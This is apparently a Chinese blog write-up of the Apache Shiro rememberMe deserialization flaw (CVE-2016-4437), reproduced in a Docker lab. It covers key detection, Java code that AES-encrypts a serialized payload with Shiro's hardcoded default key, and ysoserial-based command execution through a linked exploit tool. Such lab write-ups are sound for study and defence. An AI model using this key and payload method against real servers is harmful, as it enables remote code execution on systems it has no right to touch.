Java--Apache Shiro反序列化RCE--CVE-2016-4437

 

 

 

 

 

0x01 漏洞环境

搭建环境:

docker pull medicean/vulapps:s_shiro_1
重启docker
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

 

shiro框架它提供了Remeberme的功能,登录的时候勾选,成功登录就会生成经过加密的cookie

服务器收到cookie会进行 base64解码-->AES解密-->反序列化(readObeject).

 那么我们可以构造一个带有恶意命令执行的链子来序列化后-->在通过AES加密-->base64编码,附带在cookie上发送过去,这样就能rce了。

 

 

 

0x02 漏洞分析

 

首先是要得知AES的密钥是什么,在shiro1.2.4及之前的AES密钥都是采用的硬编码(意思就是说密钥被写死在代码里面,是固定的),那么如何得到密钥呢?

 

这篇文章通过看代码得到一个姿势,也就是说cookie中传入正确的加密字段,服务器就不会返回这个deletme,传入错误的就会返回。

比如这里登录root

 

 

 

 这里返回的rememberMe是通过它本身登录信息通过AES加密、base64编码出来的用于保存用户登录信息。

 

如果直接任意输入登录访问,可以看到rememberMe返回的是deleteMe

 

 

 

 

如果带上按照正确密钥加密的cookie,就没有返回deleteMe (下面的post表单不影响,可以直接删除,只要是正确密钥的加密过程)

 

 

 

简单过程就是先构造符合条件类的序列化对象,通过看代码分析 该类SimplePrincipalCollection满足条件

 

 

 执行得到序列化该类的代码poc

 

然后poc进行正确的AES加密 和base64编码,正确的AES key就不会返回deleteMe

这里给出一个aes加密(注意需要在maven导入环境)

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class DecodeAES {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(Paths.get("E:\\test\\poc"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}
    <dependencies>
        <!-- Shiro核心包 -->
        <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.2.4</version>
        </dependency>
        <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <version>1.2</version>
        <scope>runtime</scope>
    </dependency>

    <dependency>
        <groupId>taglibs</groupId>
        <artifactId>standard</artifactId>
        <version>1.1.2</version>
        <scope>runtime</scope>
    </dependency>

    </dependencies>

 

然后将得到的加密结果在base64编码 发送过去就行了,没有deletMe返回

 

 

 

 

0x03 漏洞利用

 

现在能猜测出正确的AES密钥,就可以通过可利用链来就行构造了,这里使用了好兄弟给的一个工具,十分好用

 

 

 

这里工具也是要配合 ysoserial来使用的(这就是各种反序列化链子命令构造的king)

 

 

 

测试出所用的key,并且测试出cc2链可用

 

直接可以命令执行

 

 

 

创建文件

 

 

 

 

 

 

不过有些遗憾的是我直接用他内置的反弹shell失败了,用命令执行来直接反弹也没成功~~

 

简单总结一下,所谓的shiro反序列化问题不是它本身存在调用链子

而是它引用一些第三方库,比如cc库,其中cc库就存在1~10条链子。

工具就会测试多个链子来尝试

 

 

 

 

参考工具链接:

https://github.com/feihong-cs/ShiroExploit-Deprecated/tree/v2.51

参考链接:

https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg

posted @ 2022-01-12 17:22  Erichas  阅读(442)  评论(0编辑  收藏  举报